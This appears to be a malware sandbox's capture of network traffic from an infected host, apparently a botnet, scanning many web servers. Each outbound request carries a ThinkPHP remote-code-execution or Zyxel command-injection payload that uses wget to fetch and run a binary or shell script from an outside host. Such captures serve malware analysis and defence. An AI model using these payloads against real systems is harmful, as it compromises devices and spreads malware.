Mar 4, 2024 15:07:38.614790916 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:38.787643909 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:38 GMT Date: Mon, 04 Mar 2024 14:07:38 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 30 36 62 37 62 35 63 26 23 34 36 3b 31 37 30 39 35 36 31 32 35 38 26 23 34 36 3b 33 34 61 61 65 32 66 33 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.506b7b5c.1709561258.34aae2f3</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
480	192.168.2.13	47540	95.101.176.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:38.614964962 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:38.787724018 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:38 GMT Date: Mon, 04 Mar 2024 14:07:38 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 35 37 61 37 62 35 63 26 23 34 36 3b 31 37 30 39 35 36 31 32 35 38 26 23 34 36 3b 31 33 37 62 61 35 65 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.a57a7b5c.1709561258.137ba5e2</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
481	192.168.2.13	40614	88.37.68.223	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:38.642426014 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
482	192.168.2.13	51090	95.100.148.94	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:38.794954062 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:38.975292921 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Mon, 04 Mar 2024 14:07:38 GMT Date: Mon, 04 Mar 2024 14:07:38 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 35 61 35 37 31 64 34 26 23 34 36 3b 31 37 30 39 35 36 31 32 35 38 26 23 34 36 3b 65 32 33 38 66 66 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.15a571d4.1709561258.e238ff7</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
483	192.168.2.13	39656	95.216.146.67	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:38.803433895 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:38.993931055 CET	433	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:07:38 GMT Server: Apache/2.4.25 (Unix) LibreSSL/2.4.4 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
484	192.168.2.13	40006	95.216.171.239	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:38.805243015 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:38.995799065 CET	337	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.2 Date: Mon, 04 Mar 2024 14:07:38 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
485	192.168.2.13	56072	95.100.139.170	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:38.819794893 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:39.021672010 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Mon, 04 Mar 2024 14:07:38 GMT Date: Mon, 04 Mar 2024 14:07:38 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 66 38 36 62 61 35 64 26 23 34 36 3b 31 37 30 39 35 36 31 32 35 38 26 23 34 36 3b 35 35 39 36 37 39 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.cf86ba5d.1709561258.559679d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
486	192.168.2.13	56616	95.65.24.16	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:38.825609922 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:39.037137985 CET	364	IN	HTTP/1.1 505 HTTP Version not supported Content-Type: text/html; charset=utf-8 Content-Length: 140 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>505 HTTP Version not supported</title></head><body><center><h1>505 HTTP Version not supported</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
487	192.168.2.13	47236	95.86.109.87	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:38.832561016 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
488	192.168.2.13	40268	95.202.99.186	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:38.849541903 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:40.056843996 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:40.293173075 CET	62	IN	HTTP/1.0 400 Bad Request Connection: Keep-Alive
Mar 4, 2024 15:07:40.293211937 CET	112	IN	Data Raw: 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 32 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a 3c 68 Data Ascii: Keep-Alive: timeout=20X-Frame-Options: SAMEORIGINContent-Type: text/html<h1>Bad Request</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
489	192.168.2.13	38230	112.184.159.112	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:39.403683901 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:43.478945017 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:43.783835888 CET	500	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Date: Mon, 04 Mar 2024 14:14:21 GMT Server: lighttpd/1.4.55 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 Bad Request</title> </head> <body> <h1>400 Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
490	192.168.2.13	40474	94.123.26.31	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:39.789011002 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
491	192.168.2.13	47468	62.29.3.92	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:39.791074991 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
492	192.168.2.13	41770	95.86.125.233	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:40.007138014 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
493	192.168.2.13	47604	95.101.176.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:40.254928112 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:41.206923962 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:41.379750013 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:41 GMT Date: Mon, 04 Mar 2024 14:07:41 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 62 37 61 37 62 35 63 26 23 34 36 3b 31 37 30 39 35 36 31 32 36 31 26 23 34 36 3b 31 62 35 33 31 32 38 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.8b7a7b5c.1709561261.1b531284</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
494	192.168.2.13	40316	95.202.99.186	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:40.282241106 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:40.492810011 CET	62	IN	HTTP/1.0 400 Bad Request Connection: Keep-Alive
Mar 4, 2024 15:07:40.500391006 CET	112	IN	Data Raw: 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 32 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a 3c 68 Data Ascii: Keep-Alive: timeout=20X-Frame-Options: SAMEORIGINContent-Type: text/html<h1>Bad Request</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
495	192.168.2.13	55600	95.142.103.90	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:40.660598993 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:40.847992897 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:07:40 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
496	192.168.2.13	39494	95.213.20.163	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:40.693974018 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
